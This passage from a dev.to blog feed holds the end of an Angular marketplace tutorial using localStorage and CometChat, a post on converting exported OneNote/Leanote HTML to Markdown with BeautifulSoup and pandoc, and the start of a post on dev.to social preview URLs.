&lt;p&gt;In this step, we will learn about how to add more goods 🛍. In a nutshell, the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage" rel="noopener noreferrer"&gt;browser’s localStorage&lt;/a&gt; is used as a workaround to the static nature of our facemask.json file. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Instead of showing the end result first, we will see the final result towards the end of this step for this feature.&lt;/li&gt;
&lt;li&gt;As programmatically or manually changing the value of &lt;code&gt;isVisible&lt;/code&gt;  key in &lt;strong&gt;facemasks.json&lt;/strong&gt; file as a method to ‘add’ good is either impossible or not a good user experience ❌, we will instead use the values in the file as the ‘initial’ state of our marketplace website.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The initial state of all facemasks are loaded when our app first startup in &lt;strong&gt;src/app/product/_api/get-product-detail.service.ts&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;export class GetProductDetailService {
  constructor() {
    // ...
    if (window.localStorage[PRODUCT_METADATA]) {
      // always remove so that newly added product in facemasks.json will be added into the metadata
      window.localStorage.removeItem(PRODUCT_METADATA);
    }
    this.initProductMetadataLocalStorage();
  }
  private initProductMetadataLocalStorage(): void {
    let facemaskMetadata: Metadata[] = [];
    MockAPI.facemasks.forEach((facemask, index) =&amp;gt; {
      facemaskMetadata.push({
        productId: index,
        isProductAdded: facemask.isVisible,
      });
    });
    window.localStorage[PRODUCT_METADATA] = JSON.stringify(facemaskMetadata);
  }

  // ...
}
&lt;/code&gt;&lt;/pre&gt;



&lt;ol&gt;
&lt;li&gt;Above is the relevant snippet of &lt;strong&gt;get-product-detail.service.ts&lt;/strong&gt;. &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;initProductMetadataLocalStorage()&lt;/code&gt; will read facemasks.json and save it into the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage" rel="noopener noreferrer"&gt;localStorage&lt;/a&gt; - &lt;code&gt;window.localStorage[PRODUCT_METADATA] = JSON.stringify(facemaskMetadata);&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Then, the rest of the functions in &lt;code&gt;GetProductDetailService&lt;/code&gt; will either get or set the values saved in the localStorage instead of directly modifying the JSON file. &lt;/li&gt;
&lt;li&gt;The values will persist throughout the current browser session, thus mimicking the effect of a database.&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;For further illustration 🔍, let’s look at how facemasks are put on sale to be listed on the website. The function below is inside the same &lt;strong&gt;get-product-detail.service.ts&lt;/strong&gt; file.&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;putFacemaskOnSale(id: number): void {
  if (window.localStorage[PRODUCT_METADATA]) {
    let facemaskMetadata: Metadata[] = JSON.parse(
      window.localStorage[PRODUCT_METADATA]
    );
    if (id &amp;lt; facemaskMetadata.length) {
      facemaskMetadata[id].isProductAdded = true;
      window.localStorage[PRODUCT_METADATA] =
        JSON.stringify(facemaskMetadata);
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;




&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;Now comes the million-dollar 💰question, with all that code why our code still doesn’t work? Turns out that what prevents us from adding goods is the button for it is not shown 🤷‍♂️. Add the code below into &lt;strong&gt;src/app/home/header.component.html&lt;/strong&gt; right between the login and inbox button.&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;li&amp;gt;
  &amp;lt;app-basket&amp;gt;&amp;lt;/app-basket&amp;gt;
&amp;lt;/li&amp;gt;
&lt;/code&gt;&lt;/pre&gt;




&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;Bravo! You have successfully added the button. The entire demo is as shown below. Remember 📝, if you are facing difficulty you can also refer to the angular-marketplace-final folder as a reference 😉. &lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3m385o5x13gj2gae1eip.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3m385o5x13gj2gae1eip.gif" alt="Demo for adding goods" width="600" height="399"&gt;&lt;/a&gt;&lt;/p&gt;
Demo for adding goods


&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;
  
  
  Step 4️⃣: Chat 🗣 With Seller
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ziu99ppik9ovwtwz8uy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ziu99ppik9ovwtwz8uy.gif" alt="Demo of Chatting with Seller" width="760" height="506"&gt;&lt;/a&gt;&lt;/p&gt;
Demo of Chatting with Seller



&lt;ol&gt;
&lt;li&gt;As of version 2.2.1, CometChat Angular UI Kit provides &lt;a href="https://prodocs.cometchat.com/docs/js-angular-ui-kit-ui-components" rel="noopener noreferrer"&gt;eight different components&lt;/a&gt; that can be used easily as an Angular component. An example is the &lt;code&gt;CometChatConversationListWithMessages&lt;/code&gt; component that we used for our Inbox feature.&lt;/li&gt;
&lt;li&gt;To get a nice floating bubble chat widget for our chat with seller feature, we will have to do slightly 🤏 more work by using &lt;a href="https://prodocs.cometchat.com/docs/js-angular-ui-kit-ui-components#4-cometchatmessages" rel="noopener noreferrer"&gt;another Angular UI Kit component - CometChatMessages&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Firstly, go to &lt;strong&gt;src/app/product/product.module.ts&lt;/strong&gt; and modify the code as shown below to import the requirement component from &lt;code&gt;ChatModule&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// ... 
import { FormsModule } from '@angular/forms';
import { ChatModule } from "../chat/chat.module"; // &amp;lt;--- new code

// ... 
// ... 

@NgModule({
  // ... 
  imports: [
    // ...
    FormsModule,
    ChatModule, // &amp;lt;--- new code
  ],
  // ... 
})
export class ProductModule {}
&lt;/code&gt;&lt;/pre&gt;




&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;After that, add the following code into the end of &lt;strong&gt;src/app/product/product-detail.component.html&lt;/strong&gt;. This will add the Angular UI Kit &lt;code&gt;CometChatMessages&lt;/code&gt; component into our product detail page.&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!-- ...  --&amp;gt;
&amp;lt;div *ngIf="authService.isLoggedIn()"&amp;gt;
  &amp;lt;app-user-message [uid]="sellerUid"&amp;gt;&amp;lt;/app-user-message&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;




&lt;/li&gt;

&lt;li&gt;&lt;p&gt;After your Angular App reloads, you will be able to chat with the seller of any goods that you added. &lt;/p&gt;&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;Wait, wait, wait 🛑! Some of you who took extra time to follow all the steps closely will figure out that there’s at least one step being left out. Kudos 👏 to you for your diligence! Read on if you want to get the whole picture.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;To be fair, it’s not some black magic 🧙‍♂️. The  &lt;code&gt;CometChatMessages&lt;/code&gt;  component is wrapped inside our custom &lt;code&gt;UserMessageComponent&lt;/code&gt;. Its template and its stylesheet (HTLM &amp;amp; CSS files) design the &lt;code&gt;CometChatMessages&lt;/code&gt; to be a floating 🎈 bubble chat UI. &lt;/li&gt;
&lt;li&gt;This &lt;code&gt;UserMessageComponent&lt;/code&gt; is imported into the &lt;code&gt;ProductModule&lt;/code&gt; during importing of the &lt;code&gt;ChatModule&lt;/code&gt;. The &lt;code&gt;openOrClose()&lt;/code&gt; function is called by the parent components so that clicking on the blue bubble will show open📤/hide📥 the seller chat.
&lt;/li&gt;
&lt;/ul&gt;

&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// src/app/chat/user-message.component.ts

import { Component, Input, OnInit } from '@angular/core';
import { CometChat } from "@cometchat-pro/chat";
@Component({
  selector: "app-user-message",
  templateUrl: "./user-message.component.html",  // &amp;lt;--- HTML for this component
  styleUrls: ["./user-message.component.css"], // &amp;lt;--- CSS for this component
})
export class UserMessageComponent implements OnInit {
  cometChatUser: any;
  isInitSuccess: boolean;
  isOpen: boolean;
  constructor() {}
  ngOnInit(): void {
    this.isInitSuccess = false;
    this.isOpen = false;
  }
  @Input()
  public set uid(uid: string) {
    CometChat.getUser(uid).then(
      (user) =&amp;gt; {
        console.log("User details fetched for UID:", uid);
        this.cometChatUser = user;
        this.isInitSuccess = true;
      },
      (error) =&amp;gt; {
        console.error("User details fetching failed with error:", error);
      }
    );
  }
  openOrClose(): void {
    if (this.isInitSuccess) {
      this.isOpen = !this.isOpen;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;




&lt;/li&gt;

&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- Another detail here is about the goods sellers. Recall that your CometChat Angular Marketplace app is newly created, when and how the sellers’ accounts get registered? 
    - For learning purposes, the registration of sellers’ accounts is automated to keep things focus and simple. However, hopefully by bringing up 👆 and answering this question will help you to understand the benefits why some code is structured in specific ways.
    - The main action happens in one function of the `Login` component (**src/app/account/login.component.ts**).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;```
private preRegisterExistingSellers() {
  if (this.authService.isLoggedIn()) {
    for (let i = 0; i &amp;lt; this.productService.getFacemaskCount(); i++) {
      const product = this.productService.getFacemaskDetail(i);
      const shopName: string = product.shop;
      const sellerName: string = product.seller;
      CometChat.getUser(shopName).then(
        (user) =&amp;gt; {
          console.log(`Seller: ${user.getName()} already registered:`);
        },
        (_) =&amp;gt; {
          console.log(
            `Registering for Seller: ${sellerName}, Shop Name: ${shopName}`
          );
          this.registerCometChatUser(shopName, sellerName);
        }
      );
    }
  }
}
```
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    - We segment our code into modules with their own distinct features, and write code as a Angular service for code that needs to be access ‘globally’ in all modules.
    - Because of that, we are able to pre-register all existing sellers in the `Login` component of  `Account` module by using the `ProductService`. 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;That’s a wrap 💯! By the end of this tutorial, we have in our hands 🤲 a marketplace website with a production-grade seller chat integration! It is my conscious choice to not use a database to store the goods and their information. The reason is none other than to provide the most streamline learning experience for you. &lt;/p&gt;

&lt;p&gt;This is not necessarily the end of the journey, especially if you choose to continue. From here, there are a few challenges in place for you to further 🚀 your learning:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- Replace the Angular UI Kit component used for Inbox with another component from the UI kit.
- If you are interested in learning more about Angular routing, try adding route guards 👮‍♂️ to prevent user to directly access goods that haven’t been ‘added’. Currently, you will be able to access any products defined in **facemasks.json** despite not being shown on the web page if you know the URLs. 
- Use a ‘real’ backend to serve the goods instead of **facemasks.json**. The sky 🌋 is the limit for this third and final suggestion. You can use Heroku, Firebase, AWS, GCP, Azure or any backend that suits your needs and have a decent free price tier. 
    - Among the three suggestions, this requires the most work even if you are just replacing the existing functionality of the ‘fake’ backend. However, this is also the most rewarding ✨ because you will be able to learn the most. 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>angular</category>
      <category>tutorial</category>
      <category>chatintegration</category>
      <category>marketplace</category>
    </item>
    <item>
      <title>DevTip#3: Strip Down and Convert HTML to Markdown for Importing Notes into Joplin</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Sun, 28 Feb 2021 21:02:16 +0000</pubDate>
      <link>https://dev.to/middleclassdev/sanitize-and-convert-html-to-markdown-for-importing-notes-into-joplin-4537</link>
      <guid>https://dev.to/middleclassdev/sanitize-and-convert-html-to-markdown-for-importing-notes-into-joplin-4537</guid>
      <description>&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
▶ Background
&lt;/li&gt;
&lt;li&gt;🛑 Problem Statement&lt;/li&gt;
&lt;li&gt;
📜 Solution

&lt;ul&gt;
&lt;li&gt;
1️⃣ Step 1
&lt;/li&gt;
&lt;li&gt;2️⃣ Step 2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;✉ Summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ▶ Background ↑top
&lt;/h2&gt;

&lt;p&gt;Even though this article specifically mentioned about importing notes into Joplin, the steps laid out are generic. Most of the details of exporting and importing notes are left out to keep this article as concise as possible. If you are just looking for the steps to clean and convert HTML to Markdown, skip right into the Solution.&lt;/p&gt;

&lt;p&gt;I had been using &lt;a href="https://www.onenote.com" rel="noopener noreferrer"&gt;OneNote&lt;/a&gt;, &lt;a href="https://evernote.com/" rel="noopener noreferrer"&gt;Evernote&lt;/a&gt; and &lt;a href="https://leanote.com/" rel="noopener noreferrer"&gt;Leanote&lt;/a&gt; as my note taking software. OneNote is primarily used for personal notes while Evernote is used for work. Later on, I switched to self-hosted Leanote from Evernote and used that for the past 2-3 years. &lt;/p&gt;

&lt;p&gt;Now, I plan to consolidate both OneNote and Leanote contents into one place. In the end I decided to settle for &lt;a href="https://joplinapp.org/" rel="noopener noreferrer"&gt;Joplin&lt;/a&gt;. This article focus on part of the whole export and import notes process. More details are laid out in the Solution section below. &lt;/p&gt;




&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🛑 Problem Statement ↑top
&lt;/h2&gt;

&lt;p&gt;A quick web search will return results on how to import OneNote and Leanote into Joplin. Despite the methods from the search results work considerably well for simple notes format, the imported note looks messed up once the note contains tables, images, styles, nested structures and combination of all these. &lt;/p&gt;




&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  📜 Solution ↑top
&lt;/h2&gt;

&lt;p&gt;After some trial and error, the following workflow works the best. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;exporting all the notes from OneNote and Leanote into HTML,&lt;/li&gt;
&lt;li&gt;remove all HTML attributes except for &lt;code&gt;src&lt;/code&gt; and &lt;code&gt;href&lt;/code&gt; (kept for image source and links),&lt;/li&gt;
&lt;li&gt;follow by converting them into Markdown, &lt;/li&gt;
&lt;li&gt;finally importing all the markdown notes into Joplin using the built-in importer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This article will focus on the 2 intermediary steps - sanitize &amp;amp; convert HTML into Markdown.&lt;/p&gt;

&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  1️⃣ Step 1 ↑top
&lt;/h3&gt;

&lt;p&gt;A typical HTML will contains &lt;code&gt;script&lt;/code&gt;, &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;class&lt;/code&gt;, &lt;code&gt;style&lt;/code&gt;, data attributes and much more other HTML tags/attributes. As most of these are not supported in Markdown, removal of all HTML tags/attributes while remaining only a handful of what we need will drastically the markdown output later on. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://beautiful-soup-4.readthedocs.io/en/latest/#quick-start" rel="noopener noreferrer"&gt;Beautiful Soup 4&lt;/a&gt; is used for this step. The command below uses pip to install the python library.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install beautifulsoup4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After installing, running the code example below will remove all HTML attributes except for &lt;code&gt;src&lt;/code&gt; and &lt;code&gt;href&lt;/code&gt;, and removing all &lt;code&gt;script&lt;/code&gt; and &lt;code&gt;style&lt;/code&gt; tags. I also posted this solution in &lt;a href="https://stackoverflow.com/a/66268812/2809828" rel="noopener noreferrer"&gt;this SO Q&amp;amp;A&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# https://beautiful-soup-4.readthedocs.io/en/latest/#searching-the-tree
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;bs4&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NavigableString&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;unstyle_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;features&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;html.parser&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# remove all attributes except for `src` and `href`
&lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;descendants&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NavigableString&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;attrs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;src&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;href&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
                    &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="c1"&gt;# remove all script and style tags
&lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_all&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;script&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;style&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
        &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decompose&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# return html text
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prettify&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  2️⃣ Step 2 ↑top
&lt;/h3&gt;

&lt;p&gt;To convert from the sanitize HTML into Markdown, &lt;a href="https://pandoc.org/" rel="noopener noreferrer"&gt;pandoc&lt;/a&gt; is used. This is a command line tool, an external library is installed using pip to use pandoc easier in Python.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install pypandoc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After installing, the code snippet below shows how to call pypandoc to convert HTML into Markdown.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;pypandoc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;convert_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;markdown+pipe_tables+backtick_code_blocks-markdown_attribute&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;outputfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;md_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This pandoc documentation shows &lt;a href="https://pandoc.org/MANUAL.html#options" rel="noopener noreferrer"&gt;all the supported input and output formats&lt;/a&gt;. If you are curious about the 'plus' and 'minus' strings after the format, those are for adding or removing pandoc extensions respectively. The Markdown files generated using these extensions provide the best imported Joplin notes. Check out &lt;a href="https://pandoc.org/MANUAL.html#extensions" rel="noopener noreferrer"&gt;this section&lt;/a&gt; to understand more details about the extensions. &lt;/p&gt;




&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ✉ Summary ↑top
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Use &lt;a href="https://beautiful-soup-4.readthedocs.io/en/latest/#quick-start" rel="noopener noreferrer"&gt;Beautiful Soup 4&lt;/a&gt; to sanitize unneeded HTML tags and attributes&lt;/li&gt;
&lt;li&gt;Use &lt;a href="https://pandoc.org/" rel="noopener noreferrer"&gt;pandoc&lt;/a&gt; to convert HTML to Markdown. &lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>tutorial</category>
      <category>techtip</category>
      <category>tooling</category>
      <category>productivity</category>
    </item>
    <item>
      <title>DevTip #2: Using dev.to Social Preview API (undocumented?)</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Sun, 21 Feb 2021 15:24:35 +0000</pubDate>
      <link>https://dev.to/middleclassdev/devtechtip-2-using-dev-to-auto-social-preview-card-291d</link>
      <guid>https://dev.to/middleclassdev/devtechtip-2-using-dev-to-auto-social-preview-card-291d</guid>
      <description>&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;This series is about any tech related tips or tricks that I found useful or interesting.&lt;/em&gt; &lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
 ▶️ Background
&lt;/li&gt;
&lt;li&gt; ❓ How To&lt;/li&gt;
&lt;li&gt; ➕ Bonus&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;



&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  ▶️ Background ↑top
&lt;/h2&gt;

&lt;p&gt;Stumble across stackoverflow developer story and like the looks of it. Thus decided to quickly update it with my latest details and make it &lt;a href="https://stackoverflow.com/story/wizlee" rel="noopener noreferrer"&gt;public&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;When I was adding my dev.to profile, that part of the story looks bland.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foe7gxpbpf2cth456bc78.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foe7gxpbpf2cth456bc78.png" alt="alt text" width="465" height="240"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I immediately did a web search using the keywords &lt;a href="https://duckduckgo.com/?q=forem+dev+logo+banner&amp;amp;iax=images&amp;amp;ia=images" rel="noopener noreferrer"&gt;forem dev logo banner&lt;/a&gt; to 'find some idea' 😉 on what picture to add onto it. This is then I found out that dev.to has a built in way of generating social preview cards!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd1hetc77pjf6vm6g1ydz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd1hetc77pjf6vm6g1ydz.png" alt="alt text" width="800" height="469"&gt;&lt;/a&gt;&lt;/p&gt;



&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  ❓ How To ↑top
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://dev.to/social_previews/user/{id}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The URL to get your social preview is as above. Where you can get your ID by using visiting this GET request - &lt;a href="https://dev.to/api/users/me"&gt;https://dev.to/api/users/me&lt;/a&gt;. The URL will return your DEV social preview in HTML. &lt;/p&gt;

&lt;p&gt;The social preview API is not in the API documentation, so my guess is this is used by DEV to show preview images on search results or a DEV user URL is shared on other websites.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://dev.to/social_previews/user/{user_id}.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



